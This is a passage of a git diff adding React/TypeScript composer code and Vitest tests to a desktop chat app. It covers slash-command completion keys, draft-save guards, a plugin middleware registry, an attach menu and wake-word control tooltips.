+// faithfully (same try/catch shape) over a fake `aui` whose composer can be
+// toggled bound/unbound, the way the assistant-ui runtime behaves across mount.
+
+interface FakeComposer {
+  setText: (value: string) => void
+}
+
+// Mirror of index.tsx's `useAui()` composer surface: composer() returns a
+// runtime whose setText throws exactly like @assistant-ui/core when unbound.
+function makeFakeAui(bound: { current: boolean }, applied: string[]) {
+  const composer: FakeComposer = {
+    setText(value: string) {
+      if (!bound.current) {
+        throw new Error('Composer is not available')
+      }
+
+      applied.push(value)
+    }
+  }
+
+  return { composer: () => composer }
+}
+
+function Harness({
+  bound,
+  applied,
+  onError
+}: {
+  applied: string[]
+  bound: { current: boolean }
+  onError: (err: unknown) => void
+}) {
+  const aui = useRef(makeFakeAui(bound, applied)).current
+
+  // Verbatim mirror of the production `setComposerText` helper in index.tsx.
+  const setComposerText = useCallback(
+    (value: string) => {
+      try {
+        aui.composer().setText(value)
+      } catch {
+        // Composer core not bound yet — swallow so the input stays usable.
+      }
+    },
+    [aui]
+  )
+
+  // A draft-restore-on-mount that fires while the core may still be unbound,
+  // exactly like loadIntoComposer/clearDraft do on startup.
+  try {
+    setComposerText('restored draft')
+  } catch (err) {
+    onError(err)
+  }
+
+  return null
+}
+
+describe('setComposerText guard (#49903)', () => {
+  it('swallows the unbound-core throw at startup instead of crashing the renderer', () => {
+    const applied: string[] = []
+    const bound = { current: false }
+    const onError = vi.fn()
+
+    expect(() => render(<Harness applied={applied} bound={bound} onError={onError} />)).not.toThrow()
+
+    // The guard absorbed the throw — nothing escaped to the renderer, and no
+    // assistant-ui write landed (core was unbound).
+    expect(onError).not.toHaveBeenCalled()
+    expect(applied).toEqual([])
+  })
+
+  it('writes through to the composer once the core is bound', () => {
+    const applied: string[] = []
+    const bound = { current: true }
+    const onError = vi.fn()
+
+    act(() => {
+      render(<Harness applied={applied} bound={bound} onError={onError} />)
+    })
+
+    expect(onError).not.toHaveBeenCalled()
+    expect(applied).toEqual(['restored draft'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/composer-utils.test.ts b/ui-desktop/src/app/chat/composer/composer-utils.test.ts
new file mode 100644
index 000000000..062b25677
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/composer-utils.test.ts
@@ -0,0 +1,129 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { describe, expect, it } from 'vitest'
+
+import {
+  acceptsTriggerCompletion,
+  isPendingDraftPersistCurrent,
+  type PendingDraftPersist,
+  pickPlaceholder,
+  slashArgStage,
+  slashChipKindForItem,
+  slashCommandToken,
+  type TriggerAcceptInput
+} from './composer-utils'
+
+const item = (group: string): Unstable_TriggerItem =>
+  ({ id: 'x', type: 'slash', label: 'x', metadata: { group } }) as unknown as Unstable_TriggerItem
+
+describe('slashArgStage', () => {
+  it('is true only once the query is past the command name', () => {
+    expect(slashArgStage('personality')).toBe(false)
+    expect(slashArgStage('personality alice')).toBe(true)
+  })
+})
+
+describe('slashCommandToken', () => {
+  it('extracts the lowercased /command token', () => {
+    expect(slashCommandToken('Personality alice')).toBe('/personality')
+    expect(slashCommandToken('model')).toBe('/model')
+  })
+
+  it('handles an empty query', () => {
+    expect(slashCommandToken('')).toBe('/')
+  })
+})
+
+describe('slashChipKindForItem', () => {
+  it('maps completion groups to chip kinds', () => {
+    expect(slashChipKindForItem(item('Skills'))).toBe('skill')
+    expect(slashChipKindForItem(item('Themes'))).toBe('theme')
+    expect(slashChipKindForItem(item('Commands'))).toBe('command')
+  })
+})
+
+describe('acceptsTriggerCompletion', () => {
+  const press = (key: string, overrides: Partial<TriggerAcceptInput> = {}) =>
+    acceptsTriggerCompletion({
+      activeExplicit: false,
+      freeTextArgStage: false,
+      key,
+      kind: '/',
+      query: 'personality alic',
+      ...overrides
+    })
+
+  it('accepts on Enter / Tab / Space for a finite option list', () => {
+    expect(press('Enter')).toBe(true)
+    expect(press('Tab')).toBe(true)
+    expect(press(' ')).toBe(true)
+  })
+
+  it('ignores keys that are neither navigation nor acceptance', () => {
+    expect(press('a')).toBe(false)
+    expect(press('Escape')).toBe(false)
+  })
+
+  it('lets an `@` mention take a literal space', () => {
+    expect(press(' ', { kind: '@', query: 'src/comp' })).toBe(false)
+    expect(press('Enter', { kind: '@', query: 'src/comp' })).toBe(true)
+  })
+
+  it('types a space on a bare `/ ` instead of accepting', () => {
+    expect(press(' ', { query: '' })).toBe(false)
+  })
+
+  // The `/goal <prose>` class: the popover may be live over free-form text, so
+  // the keys that mean something else in prose must keep meaning it.
+  it('sends the prose rather than the unchosen first row', () => {
+    expect(press('Enter', { freeTextArgStage: true, query: 'goal ship the redesign' })).toBe(false)
+    expect(press(' ', { freeTextArgStage: true, query: 'goal ship the' })).toBe(false)
+  })
+
+  it('accepts on Enter once the user has arrowed to a row deliberately', () => {
+    expect(press('Enter', { activeExplicit: true, freeTextArgStage: true, query: 'goal stat' })).toBe(true)
+  })
+
+  it('keeps Tab as the explicit accept even over free text', () => {
+    expect(press('Tab', { freeTextArgStage: true, query: 'goal stat' })).toBe(true)
+  })
+})
+
+describe('pickPlaceholder', () => {
+  it('returns a member of the pool', () => {
+    const pool = ['a', 'b', 'c'] as const
+    expect(pool).toContain(pickPlaceholder(pool))
+  })
+})
+
+describe('isPendingDraftPersistCurrent (#54527 integrity guard)', () => {
+  it('accepts a write when the pending entry still matches what was captured', () => {
+    const entry: PendingDraftPersist = { scope: 'session-a', text: 'hello' }
+
+    expect(isPendingDraftPersistCurrent(entry, entry)).toBe(true)
+    expect(isPendingDraftPersistCurrent({ scope: 'session-a', text: 'hello' }, entry)).toBe(true)
+  })
+
+  it('rejects when the pending slot was cleared (session swap / newer flush already committed)', () => {
+    const entry: PendingDraftPersist = { scope: 'session-a', text: 'hello' }
+
+    expect(isPendingDraftPersistCurrent(null, entry)).toBe(false)
+  })
+
+  it('rejects when the pending slot now belongs to a different session (the #54527 misroute shape)', () => {
+    const captured: PendingDraftPersist = { scope: 'session-a', text: 'carefully composed prompt' }
+    const supersededBy: PendingDraftPersist = { scope: 'session-b', text: 'different draft' }
+
+    expect(isPendingDraftPersistCurrent(supersededBy, captured)).toBe(false)
+  })
+
+  it('rejects when the pending slot was replaced by a newer keystroke in the same session', () => {
+    const captured: PendingDraftPersist = { scope: 'session-a', text: 'first draft' }
+    const supersededBy: PendingDraftPersist = { scope: 'session-a', text: 'first draft continued' }
+
+    expect(isPendingDraftPersistCurrent(supersededBy, captured)).toBe(false)
+  })
+
+  it('rejects when nothing was ever captured', () => {
+    expect(isPendingDraftPersistCurrent(null, null)).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/composer-utils.ts b/ui-desktop/src/app/chat/composer/composer-utils.ts
new file mode 100644
index 000000000..21e3c1ac4
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/composer-utils.ts
@@ -0,0 +1,136 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+
+import type { SlashChipKind } from '@/components/assistant-ui/directive-text'
+import type { ComposerAttachment } from '@/store/composer'
+import { setSessionPickerOpen } from '@/store/session'
+
+import type { TriggerState } from './text-utils'
+
+export const COMPOSER_STACK_BREAKPOINT_PX = 320
+
+// Above the stack breakpoint but still cramped: the model pill sheds its label
+// for its chevron icon (freeing ~120px) so the controls stop crowding the input
+// before the whole row has to stack. Progressive collapse: full pill → icon
+// pill → stacked.
+export const COMPOSER_COMPACT_PILL_PX = 440
+
+// A single editor line is ~28px (--composer-input-min-height 1.625rem + 0.5rem
+// vertical padding). Anything taller means the text wrapped to a second line,
+// which is when the composer should expand to the stacked layout.
+export const COMPOSER_SINGLE_LINE_MAX_PX = 36
+
+export const COMPOSER_FADE_BACKGROUND =
+  'linear-gradient(to bottom, transparent, color-mix(in srgb, var(--dt-background) 10%, transparent))'
+
+// Quiet period after the last keystroke before persisting the draft;
+// unmount/pagehide flushes bypass it.
+export const DRAFT_PERSIST_DEBOUNCE_MS = 400
+
+export const pickPlaceholder = (pool: readonly string[]) => pool[Math.floor(Math.random() * pool.length)]
+
+/** Completion items can carry an `action` (set in use-slash-completions) that
+ *  runs a side effect on pick instead of inserting a chip — e.g. the session
+ *  picker's "Browse all…" entry opens the overlay. Table-driven so new action
+ *  items are a registry row, not a composer branch. */
+export const COMPLETION_ACTIONS: Record<string, () => void> = {
+  'session-picker': () => setSessionPickerOpen(true)
+}
+
+/** Map a picked `/` completion to its pill accent. Driven by the completion
+ *  group set in use-slash-completions (Skills / Themes / Commands|Options). */
+export function slashChipKindForItem(item: Unstable_TriggerItem): SlashChipKind {
+  const group = (item.metadata as { group?: unknown } | undefined)?.group
+
+  if (group === 'Skills') {
+    return 'skill'
+  }
+
+  if (group === 'Themes') {
+    return 'theme'
+  }
+
+  return 'command'
+}
+
+/** True for a skill completion — the only kind offered mid-message. */
+export const isSkillItem = (item: Unstable_TriggerItem) => slashChipKindForItem(item) === 'skill'
+
+/** A `/` query is at its arg stage once it's past the command name. */
+export const slashArgStage = (query: string) => query.includes(' ')
+
+/** The `/command` token of a slash query (`personality x` → `/personality`). */
+export const slashCommandToken = (query: string) => `/${query.split(/\s+/, 1)[0]?.toLowerCase() ?? ''}`
+
+export interface TriggerAcceptInput {
+  /** The user moved the highlight themselves (arrow keys) rather than
+   *  inheriting the list's default first row. */
+  activeExplicit: boolean
+  /** The trigger is a slash command whose argument is arbitrary prose. */
+  freeTextArgStage: boolean
+  key: string
+  kind: TriggerState['kind']
+  query: string
+}
+
+/**
+ * Whether a keypress accepts the highlighted completion while the popover is
+ * open. Tab is always an accept — it has no other meaning in the composer.
+ *
+ * Enter and Space are conditional, because both mean something else while a
+ * free-text argument is being written (`/goal ship the redesign`). Space types
+ * a space, and Enter sends the message; letting either take the popover's
+ * pre-highlighted row would swap the prose the user is mid-sentence on for a
+ * subcommand they never chose. Enter still accepts once the user has arrowed
+ * to a row deliberately, so the highlight never lies about what Enter will do.
+ */
+export function acceptsTriggerCompletion({
+  activeExplicit,
+  freeTextArgStage,
+  key,
+  kind,
+  query
+}: TriggerAcceptInput): boolean {
+  if (key === 'Tab') {
+    return true
+  }
+
+  if (key === 'Enter') {
+    return !freeTextArgStage || activeExplicit
+  }
+
+  // Space is slash-only (an `@` mention takes a literal space) and gated to a
+  // non-empty query so a bare `/ ` still types a space.
+  return key === ' ' && kind === '/' && Boolean(query.trim()) && !freeTextArgStage
+}
+
+export interface QueueEditState {
+  attachments: ComposerAttachment[]
+  draft: string
+  entryId: string
+  sessionKey: string
+}
+
+export const cloneAttachments = (attachments: ComposerAttachment[]) => attachments.map(a => ({ ...a }))
+
+export interface PendingDraftPersist {
+  scope: string | null
+  text: string
+}
+
+/**
+ * Defense-in-depth for #54527: the debounce timer and the `pagehide` flush
+ * both write a captured `{ scope, text }` pair some time after it was
+ * scheduled. Before either commits the write, this checks the pair is still
+ * the one currently on file — i.e. nothing cleared or replaced it in the
+ * meantime (a session swap, a newer keystroke). The scope-capture fix
+ * upstream (`draftScopeRef`) already makes every captured pair correct by
+ * construction; this guard exists so that if a future change reintroduces a
+ * stale/live-ref read at one of these call sites, the write is dropped
+ * instead of silently filing one session's text under another session's key.
+ */
+export function isPendingDraftPersistCurrent(
+  pending: PendingDraftPersist | null,
+  expected: PendingDraftPersist | null
+): boolean {
+  return pending !== null && expected !== null && pending.scope === expected.scope && pending.text === expected.text
+}
diff --git a/ui-desktop/src/app/chat/composer/context-menu.tsx b/ui-desktop/src/app/chat/composer/context-menu.tsx
new file mode 100644
index 000000000..b63149e8b
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/context-menu.tsx
@@ -0,0 +1,201 @@
+import { useState } from 'react'
+
+import { composerPanelCard } from '@/components/chat/composer-dock'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Dialog, DialogContent, DialogDescription, DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { Kbd } from '@/components/ui/kbd'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { Clipboard, FileText, FolderOpen, type IconComponent, ImageIcon, Link, MessageSquareText } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { useComposerAttachmentProviders } from './contrib'
+import { GHOST_ICON_BTN } from './controls'
+import type { ChatBarState } from './types'
+
+const SNIPPET_KEYS = ['codeReview', 'implementationPlan', 'explainThis']
+
+export function ContextMenu({
+  state,
+  onInsertText,
+  onOpenUrlDialog,
+  onPasteClipboardImage,
+  onPickFiles,
+  onPickFolders,
+  onPickImages
+}: ContextMenuProps) {
+  const { t } = useI18n()
+  const c = t.composer
+  // Prompt snippets used to be a Radix submenu. That submenu didn't open
+  // reliably when the parent menu was positioned at the bottom of the
+  // window (composer "+" anchor), so we promoted it to a real Dialog —
+  // easier to grow with search / descriptions, and no positioning math.
+  const [snippetsOpen, setSnippetsOpen] = useState(false)
+  // `composer.attachments` contributions — plugin/core-registered rows that
+  // extend this menu through the same registry as every other surface.
+  const attachmentProviders = useComposerAttachmentProviders()
+
+  return (
+    <>
+      <DropdownMenu>
+        <Tip label={state.tools.label} side="top">
+          <DropdownMenuTrigger asChild>
+            <Button
+              aria-label={state.tools.label}
+              className={cn(
+                GHOST_ICON_BTN,
+                'data-[state=open]:bg-(--chrome-action-hover) data-[state=open]:text-foreground'
+              )}
+              disabled={!state.tools.enabled}
+              size="icon"
+              type="button"
+              variant="ghost"
+            >
+              <Codicon name="add" size="0.875rem" />
+            </Button>
+          </DropdownMenuTrigger>
+        </Tip>
+        <DropdownMenuContent align="start" className={cn('w-60', composerPanelCard)} side="top" sideOffset={6}>
+          <DropdownMenuLabel className="px-2 pb-0.5 pt-0.5 text-[0.625rem] font-semibold uppercase tracking-wider text-(--ui-text-tertiary)">
+            {c.attachLabel}
+          </DropdownMenuLabel>
+          <ContextMenuItem disabled={!onPickFiles} icon={FileText} onSelect={onPickFiles}>
+            {c.files}
+          </ContextMenuItem>
+          <ContextMenuItem disabled={!onPickFolders} icon={FolderOpen} onSelect={onPickFolders}>
+            {c.folder}
+          </ContextMenuItem>
+          <ContextMenuItem disabled={!onPickImages} icon={ImageIcon} onSelect={onPickImages}>
+            {c.images}
+          </ContextMenuItem>
+          <ContextMenuItem
+            disabled={!onPasteClipboardImage}
+            icon={Clipboard}
+            onSelect={onPasteClipboardImage ? () => void onPasteClipboardImage() : undefined}
+          >
+            {c.pasteImage}
+          </ContextMenuItem>
+          <ContextMenuItem icon={Link} onSelect={onOpenUrlDialog}>
+            {c.url}
+          </ContextMenuItem>
+
+          <DropdownMenuSeparator />
+
+          <ContextMenuItem icon={MessageSquareText} onSelect={() => setSnippetsOpen(true)}>
+            {c.promptSnippets}
+          </ContextMenuItem>
+
+          {attachmentProviders.length > 0 && <DropdownMenuSeparator />}
+          {attachmentProviders.map(provider => (
+            <DropdownMenuItem
+              className="text-[length:var(--conversation-tool-font-size)] focus:bg-(--ui-bg-tertiary)"
+              key={provider.key}
+              onSelect={() => void provider.run({ insertText: onInsertText })}
+            >
+              <Codicon name={provider.icon ?? 'plug'} size="0.875rem" />
+              <span>{provider.label}</span>
+            </DropdownMenuItem>
+          ))}
+
+          <DropdownMenuSeparator />
+
+          <div className="px-2 py-1 text-[0.7rem] text-muted-foreground/80">
+            {c.tipPre}
+            <Kbd size="sm">@</Kbd>
+            {c.tipPost}
+          </div>
+        </DropdownMenuContent>
+      </DropdownMenu>
+
+      <PromptSnippetsDialog onInsertText={onInsertText} onOpenChange={setSnippetsOpen} open={snippetsOpen} />
+    </>
+  )
+}
+
+function PromptSnippetsDialog({ onInsertText, onOpenChange, open }: PromptSnippetsDialogProps) {
+  const { t } = useI18n()
+  const c = t.composer
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{c.snippetsTitle}</DialogTitle>
+          <DialogDescription>{c.snippetsDesc}</DialogDescription>
+        </DialogHeader>
+        <ul className="grid gap-1">
+          {SNIPPET_KEYS.map(key => {
+            const snippet = c.snippets[key]
+
+            return (
+              <li key={key}>
+                <button
+                  className="group/snippet flex w-full cursor-pointer items-start gap-2.5 rounded-md border border-transparent px-2.5 py-2 text-left transition-colors hover:border-(--ui-stroke-tertiary) hover:bg-(--ui-control-hover-background) focus-visible:border-(--ui-stroke-tertiary) focus-visible:bg-(--ui-control-hover-background) focus-visible:outline-none"
+                  onClick={() => {
+                    onInsertText(snippet.text)
+                    onOpenChange(false)
+                  }}
+                  type="button"
+                >
+                  <MessageSquareText className="mt-0.5 size-3.5 shrink-0 text-(--ui-text-tertiary) group-hover/snippet:text-foreground" />
+                  <span className="grid min-w-0 gap-0.5">
+                    <span className="text-sm font-medium text-foreground">{snippet.label}</span>
+                    <span className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                      {snippet.description}
+                    </span>
+                  </span>
+                </button>
+              </li>
+            )
+          })}
+        </ul>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+export function ContextMenuItem({ children, disabled, icon: Icon, onSelect }: ContextMenuItemProps) {
+  return (
+    // Override font size + highlight to match the / · @ completion rows exactly.
+    <DropdownMenuItem
+      className="text-[length:var(--conversation-tool-font-size)] focus:bg-(--ui-bg-tertiary)"
+      disabled={disabled}
+      onSelect={onSelect}
+    >
+      <Icon />
+      <span>{children}</span>
+    </DropdownMenuItem>
+  )
+}
+
+interface ContextMenuItemProps {
+  children: string
+  disabled?: boolean
+  icon: IconComponent
+  onSelect?: () => void
+}
+
+interface ContextMenuProps {
+  onInsertText: (text: string) => void
+  onOpenUrlDialog: () => void
+  onPasteClipboardImage?: (opts?: { silent?: boolean }) => Promise<boolean> | void
+  onPickFiles?: () => void
+  onPickFolders?: () => void
+  onPickImages?: () => void
+  state: ChatBarState
+}
+
+interface PromptSnippetsDialogProps {
+  onInsertText: (text: string) => void
+  onOpenChange: (open: boolean) => void
+  open: boolean
+}
diff --git a/ui-desktop/src/app/chat/composer/contrib.test.ts b/ui-desktop/src/app/chat/composer/contrib.test.ts
new file mode 100644
index 000000000..d90229a8c
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/contrib.test.ts
@@ -0,0 +1,54 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { registry } from '@/contrib/registry'
+
+import { COMPOSER_AREAS, type ComposerMiddleware, runComposerMiddleware } from './contrib'
+
+const disposers: Array<() => void> = []
+
+function addMiddleware(id: string, handler: ComposerMiddleware['handler'], order?: number) {
+  disposers.push(
+    registry.register({ id, area: COMPOSER_AREAS.middleware, order, data: { handler } satisfies ComposerMiddleware })
+  )
+}
+
+afterEach(() => {
+  disposers.splice(0).forEach(d => d())
+})
+
+describe('runComposerMiddleware', () => {
+  it('passes the draft through untouched when nothing is registered', async () => {
+    const draft = { text: 'hello' }
+
+    expect(await runComposerMiddleware(draft)).toBe(draft)
+  })
+
+  it('chains rewrites in registry order', async () => {
+    addMiddleware('b', d => ({ ...d, text: `${d.text}b` }), 20)
+    addMiddleware('a', d => ({ ...d, text: `${d.text}a` }), 10)
+
+    expect(await runComposerMiddleware({ text: 'x' })).toEqual({ text: 'xab' })
+  })
+
+  it('cancels the send when a handler returns null', async () => {
+    addMiddleware('gate', () => null)
+    addMiddleware('later', d => ({ ...d, text: 'never' }), 99)
+
+    expect(await runComposerMiddleware({ text: 'x' })).toBeNull()
+  })
+
+  it('treats a throwing handler as pass-through', async () => {
+    addMiddleware('boom', () => {
+      throw new Error('broken plugin')
+    })
+    addMiddleware('after', d => ({ ...d, text: `${d.text}!` }), 99)
+
+    expect(await runComposerMiddleware({ text: 'x' })).toEqual({ text: 'x!' })
+  })
+
+  it('supports async handlers', async () => {
+    addMiddleware('async', async d => ({ ...d, text: d.text.toUpperCase() }))
+
+    expect(await runComposerMiddleware({ text: 'quiet' })).toEqual({ text: 'QUIET' })
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/contrib.ts b/ui-desktop/src/app/chat/composer/contrib.ts
new file mode 100644
index 000000000..94d19457a
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/contrib.ts
@@ -0,0 +1,139 @@
+/**
+ * Composer contribution surface — every seam of the composer is hook-into-able
+ * through the SAME registry schema as every other surface (statusbar, titlebar,
+ * panes, layouts):
+ *
+ *   render areas (`render`):  composer.top       — banner strip above the input
+ *                             composer.bottom    — row below the input grid
+ *                             composer.underside — floating strip BELOW the
+ *                                                  whole composer (no chrome)
+ *                             composer.leading   — inline after the "+" menu
+ *                             composer.actions   — inline before the model pill
+ *
+ *   data kinds (`data`):      composer.middleware    (ComposerMiddleware)
+ *                             composer.attachments   (ComposerAttachmentProvider)
+ *                             composer.microActions  (ComposerMicroActionProvider)
+ *
+ * Core keeps ownership of the transcript, input, and submit engine — these
+ * seams AUGMENT the composer, they never replace it. Middleware runs as an
+ * ordered async chain around the app's onSubmit: each handler may rewrite the
+ * draft, pass it through, or cancel the send by returning null.
+ */
+
+import { useMemo } from 'react'
+
+import { useContributions } from '@/contrib/react/use-contributions'
+import { registry } from '@/contrib/registry'
+import type { TodoItem } from '@/lib/todos'
+import type { ComposerAttachment } from '@/store/composer'
+import type { ComposerAction } from '@/store/composer-actions'
+
+export const COMPOSER_AREAS = {
+  top: 'composer.top',
+  bottom: 'composer.bottom',
+  underside: 'composer.underside',
+  leading: 'composer.leading',
+  actions: 'composer.actions',
+  middleware: 'composer.middleware',
+  attachments: 'composer.attachments',
+  microActions: 'composer.microActions'
+} as const
+
+export interface ComposerDraft {
+  text: string
+  attachments?: ComposerAttachment[]
+}
+
+/** Payload of a `composer.middleware` data contribution. */
+export interface ComposerMiddleware {
+  /** Rewrite (return a draft), pass through (same draft), or cancel (null). */
+  handler: (draft: ComposerDraft) => ComposerDraft | null | Promise<ComposerDraft | null>
+}
+
+export interface ComposerAttachmentContext {
+  insertText: (text: string) => void
+}
+
+/** Payload of a `composer.attachments` data contribution — an entry in the
+ *  composer's "+" attach menu. */
+export interface ComposerAttachmentProvider {
+  label: string
+  /** Codicon name for the menu row. Defaults to `plug`. */
+  icon?: string
+  run: (ctx: ComposerAttachmentContext) => void | Promise<void>
+}
+
+/**
+ * Run the ordered middleware chain over a draft. Contributions execute in
+ * registry order (`order`, then registration order); the first `null` wins
+ * and cancels the send. A throwing handler is treated as pass-through so a
+ * broken plugin can't eat messages.
+ */
+export async function runComposerMiddleware(draft: ComposerDraft): Promise<ComposerDraft | null> {
+  let current = draft
+
+  for (const contribution of registry.getArea(COMPOSER_AREAS.middleware)) {
+    const middleware = contribution.data as ComposerMiddleware | undefined
+
+    if (!middleware?.handler) {
+      continue
+    }
+
+    try {
+      const next = await middleware.handler(current)
+
+      if (next === null) {
+        return null
+      }
+
+      current = next
+    } catch {
+      // Pass-through: a faulty middleware must never swallow the message.
+    }
+  }
+
+  return current
+}
+
+/** Attach-menu entries contributed by plugins/core, with stable render keys. */
+export function useComposerAttachmentProviders(): Array<ComposerAttachmentProvider & { key: string }> {
+  return useContributions(COMPOSER_AREAS.attachments)
+    .map(c => ({ key: `${c.source ?? 'core'}:${c.id}`, ...(c.data as ComposerAttachmentProvider) }))
+    .filter(p => Boolean(p.label && p.run))
+}
+
+/**
+ * Payload of a `composer.microActions` data contribution — the pill strip at
+ * the top of the composer's overlay lane.
+ *
+ * `resolve` is called with the live session context and returns the badges to
+ * show right now, or `[]` for "nothing from me". Returning a list rather than
+ * a static badge is what lets a provider be conditional ("only while idle",
+ * "only with unfinished tasks") without a reactive `when()`, which the
+ * registry deliberately doesn't offer.
+ */
+export interface ComposerMicroActionProvider {
+  resolve: (ctx: ComposerMicroActionContext) => ComposerAction[]
+}
+
+/** What a micro-action provider gets to branch on. Deliberately small: every
+ *  field here is a standing compatibility promise to the plugins using it. */
+export interface ComposerMicroActionContext {
+  /** A turn is currently running in this session. */
+  busy: boolean
+  sessionId: string
+  /** Live todo list for the session (empty when there is none). */
+  todos: readonly TodoItem[]
+}
+
+/** Micro-action providers, memoised against the registry's own stable
+ *  snapshot — the strip re-resolves on every composer render, so a fresh array
+ *  here would defeat that. */
+export function useComposerMicroActionProviders(): ComposerMicroActionProvider[] {
+  const contributions = useContributions(COMPOSER_AREAS.microActions)
+
+  return useMemo(
+    () => contributions.map(c => c.data as ComposerMicroActionProvider).filter(p => typeof p?.resolve === 'function'),
+    [contributions]
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/controls.test.tsx b/ui-desktop/src/app/chat/composer/controls.test.tsx
new file mode 100644
index 000000000..f30f716a0
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/controls.test.tsx
@@ -0,0 +1,139 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { ChatBarState } from '@/app/chat/composer/types'
+import { I18nProvider } from '@/i18n'
+import { applyWakeStartResult, applyWakeStatus, resetWakeWordState } from '@/store/wake-word'
+
+import { ComposerControls } from './controls'
+
+vi.mock('./model-pill', () => ({ ModelPill: () => null }))
+
+const state: ChatBarState = {
+  model: { canSwitch: false, model: '', provider: '' },
+  tools: { enabled: false, label: '' },
+  voice: { active: false, enabled: false }
+}
+
+function renderControls(overrides: Partial<React.ComponentProps<typeof ComposerControls>> = {}) {
+  return render(
+    <I18nProvider configClient={null} initialLocale="en">
+      <ComposerControls
+        autoSpeak={false}
+        busy={false}
+        busyAction="stop"
+        canSubmit={true}
+        conversation={{
+          active: false,
+          level: 0,
+          muted: false,
+          onEnd: vi.fn(),
+          onStart: vi.fn(),
+          onStopTurn: vi.fn(),
+          onToggleMute: vi.fn(),
+          status: 'idle'
+        }}
+        disabled={false}
+        hasComposerPayload={true}
+        onDictate={vi.fn()}
+        onQueue={vi.fn()}
+        onToggleAutoSpeak={vi.fn()}
+        state={state}
+        voiceStatus="idle"
+        {...overrides}
+      />
+    </I18nProvider>
+  )
+}
+
+async function expectShortcutTooltip(label: string, shortcut: string) {
+  fireEvent.pointerMove(screen.getByLabelText(label), { pointerType: 'mouse' })
+
+  const tooltip = await screen.findByRole('tooltip')
+
+  expect(tooltip.textContent).toContain(label)
+  expect(tooltip.textContent).toContain(shortcut)
+}
+
+afterEach(() => {
+  cleanup()
+})
+
+describe('ComposerControls shortcut tooltips', () => {
+  it('shows Enter for Send', async () => {
+    renderControls()
+
+    await expectShortcutTooltip('Send', '↵')
+  })
+
+  it('shows Enter for Steer', async () => {
+    renderControls({ busy: true, busyAction: 'steer' })
+
+    await expectShortcutTooltip('Steer the current run', '↵')
+  })
+
+  it('shows Ctrl+Enter for Queue', async () => {
+    renderControls({ busy: true, busyAction: 'queue' })
+
+    await expectShortcutTooltip('Queue message', 'Ctrl+↵')
+  })
+})
+
+describe('wake-word ear visibility', () => {
+  afterEach(() => {
+    resetWakeWordState()
+  })
+
+  it('stays mounted during a busy agent turn', () => {
+    applyWakeStatus({ available: true, enabled: true, listening: true, phrase: 'hey clawcodex' })
+    renderControls({ busy: true, busyAction: 'stop' })
+
+    expect(screen.getByLabelText('Wake word: "hey clawcodex" — listening')).toBeTruthy()
+  })
+
+  it('stays mounted (enabled in config) even when a start was refused', () => {
+    applyWakeStatus({ available: true, enabled: true, listening: false, phrase: 'hey clawcodex' })
+    // Transient refusal marks available false but enabled keeps it mounted.
+    applyWakeStartResult({ hint: 'mic busy', reason: 'unavailable', started: false })
+    renderControls()
+
+    expect(screen.getByLabelText('Wake word: "hey clawcodex" — off')).toBeTruthy()
+  })
+
+  it('stays visible (never hides) even when unavailable and not enabled', () => {
+    applyWakeStatus({ available: false, enabled: false, listening: false, phrase: 'hey clawcodex' })
+    renderControls()
+
+    // The ear ALWAYS shows so the user can click to enable; a failed start
+    // surfaces its reason in the tooltip rather than hiding the control.
+    expect(screen.getByLabelText('Wake word: "hey clawcodex" — off')).toBeTruthy()
+  })
+
+  it('surfaces the backend refusal reason in the tooltip, still visible', () => {
+    applyWakeStatus({ available: false, enabled: false, listening: false, phrase: 'hey clawcodex' })
+    applyWakeStartResult({ hint: 'run `clawcodex tools` (Voice section)', reason: 'unavailable', started: false })
+    renderControls()
+
+    const ear = screen.getByLabelText('Wake word: "hey clawcodex" — off')
+    expect(ear).toBeTruthy()
+  })
+
+  it('shows a disabled paused ear inside the voice-conversation pill', () => {
+    applyWakeStatus({ available: true, enabled: true, listening: true, phrase: 'hey clawcodex' })
+    renderControls({
+      conversation: {
+        active: true,
+        level: 0,
+        muted: false,
+        onEnd: vi.fn(),
+        onStart: vi.fn(),
+        onStopTurn: vi.fn(),
+        onToggleMute: vi.fn(),
+        status: 'listening'
+      }
+    })
+
+    const ear = screen.getByLabelText('Wake word: "hey clawcodex" — paused during voice chat')
+    expect((ear as HTMLButtonElement).disabled).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/controls.tsx b/ui-desktop/src/app/chat/composer/controls.tsx
new file mode 100644
index 000000000..2580bee90
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/controls.tsx
@@ -0,0 +1,414 @@
+import { useStore } from '@nanostores/react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip, TipKeybindLabel } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import {
+  AudioLines,
+  Ear,
+  EarOff,
+  iconSize,
+  Layers3,
+  Loader2,
+  Square,
+  SteeringWheel,
+  Volume2,
+  VolumeX
+} from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { $wakeWord, toggleWakeWord } from '@/store/wake-word'
+
